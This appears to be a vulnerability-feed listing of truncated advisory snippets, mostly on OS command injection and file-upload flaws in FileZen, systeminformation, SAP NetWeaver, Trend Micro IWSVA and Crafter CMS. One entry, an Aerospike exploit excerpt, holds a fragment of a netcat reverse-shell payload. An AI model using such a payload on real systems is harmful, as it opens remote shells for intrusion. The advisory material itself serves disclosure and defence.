FileZen vulnerable to directory traversal

Overview FileZen provided by Soliton Systems K.K. is an appliance for secure file transfer and sharing by mail or an web interface. FileZen contains a directory traversal vulnerability CWE-22. Soliton Systems K.K. reported this vulnerability to IPA to notify users of its solution through JVN...

JVN#12884935: FileZen vulnerable to directory traversal

FileZen provided by Soliton Systems K.K. is an appliance for secure file transfer and sharing by mail or an web interface. FileZen contains a directory traversal vulnerability CWE-22. Impact A remote attacker may upload an arbitrary file in the specific directory in the product. If a specialy...

PT-2020-15168

Name of the Vulnerable Software and Affected Versions iCMS version 7 Description The issue allows attackers to execute arbitrary OS commands via shell metacharacters in the DB PREFIX parameter to install/install.php. This enables them to potentially install malicious software or perform other...

Prototype Pollution

systeminformation is vulnerable to prototype pollution. An attacker is able to overwrite arbitrary properties and functions of an object such as prototype or proto, potentially resulting in OS command execution...

Design/Logic Flaw

This affects the package systeminformation before 4.30.2. The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands...

CVE-2020-7778

This affects the package systeminformation before 4.30.2. The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands...

CVE-2020-7778

This affects the package systeminformation before 4.30.2. The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands...

PT-2020-19787

Name of the Vulnerable Software and Affected Versions systeminformation versions prior to 4.30.2 Description The issue allows an attacker to overwrite the properties and functions of an object, potentially leading to the execution of OS commands. This is due to a flaw in the systeminformation...

CVE-2020-7778: Improper Neutralization of Special Elements used in an OS Command

This affects the package systeminformation before 4.30.2. The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands...

CVE-2020-28581: Improper Neutralization of Special Elements used in an OS Command

A command injection vulnerability in ModifyVLANItem of Trend Micro InterScan Web Security Virtual Appliance 6.5 SP2 could allow an authenticated, remote attacker to send specially crafted HTTP messages and execute arbitrary OS commands with elevated privileges...

Aerospike Database 5.1.0.3 - OS Command Execution

Exploit Title: Aerospike Database 5.1.0.3 - OS Command Execution Date: 2020-08-01 Exploit Author: Matt S Vendor Homepage: https://www.aerospike.com/ Version: &1|nc ip port /tmp/ft&' def getclientcfg: try: return aerospike.client 'hosts': cfg.ahost, cfg.aport, 'policies': 'timeout': 8000.connect...

CVE-2020-26820: Unrestricted Upload of File with Dangerous Type

SAP NetWeaver AS JAVA, versions - 7.20, 7.30, 7.31, 7.40, 7.50, allows an attacker who is authenticated as an administrator to use the administrator console, to expose unauthenticated access to the file system and upload a malicious file. The attacker or another user can then use a separate...

PT-2020-16505

Name of the Vulnerable Software and Affected Versions SAP NetWeaver AS JAVA versions 7.20, 7.30, 7.31, 7.40, 7.50 Description The issue allows an attacker who is authenticated as an administrator to use the administrator console to expose unauthenticated access to the file system and upload a...

PT-2020-19137

Name of the Vulnerable Software and Affected Versions SAP Solution Manager and SAP Focused Run versions prior to the update provided in WILY INTRO ENTERPRISE 9.7, 10.1, 10.5, 10.7 Description The issue allows an attacker to modify a cookie, enabling the execution of OS commands and potentially...

Crafter CMS Dynamic Management Code Resource Miscontrol Vulnerability

Crafter CMS is an open source content management system for websites, mobile apps, VR and more. A Dynamic Management Code Resource Miscontrol vulnerability exists in Crafter Studio in Crafter CMS. An attacker can exploit this vulnerability to execute OS commands via objects exposed by FreeMarker...

PT-2020-6031

Name of the Vulnerable Software and Affected Versions No specific software or versions mentioned, use: Embedded web server affected versions not specified Description The issue is related to insufficient input validation in the MtcSetDataItemt function of the embedded web server. This can be...

CVE-2020-25803

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via FreeMarker template exposed objects. This issue affects: Crafter Software Crafter CMS 3.0 versions prior to 3.0.27; 3.1 versions prior t...

CVE-2020-25803

Crafter CMS Crafter Studio is affected by an SSTI/SSRF-like flaw in FreeMarker exposed objects that allows an authenticated developer to execute OS commands, potentially achieving RCE. The publicly documented impact indicates that Crafter CMS 3.0.x before 3.0.27 and 3.1.x before 3.1.7 are vulnera...

CVE-2020-25802

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy scripting. This issue affects: Crafter Software Crafter CMS 3.0 versions prior to 3.0.27; 3.1 versions prior to 3.1.7...

CVE-2020-25802

The vulnerability CVE-2020-25802 affects Crafter CMS Crafter Studio and allows authenticated developers to execute OS commands through Groovy scripting due to improper control of dynamically-managed code resources. Based on the connected advisory, affected versions are Crafter CMS 3.0 prior to 3....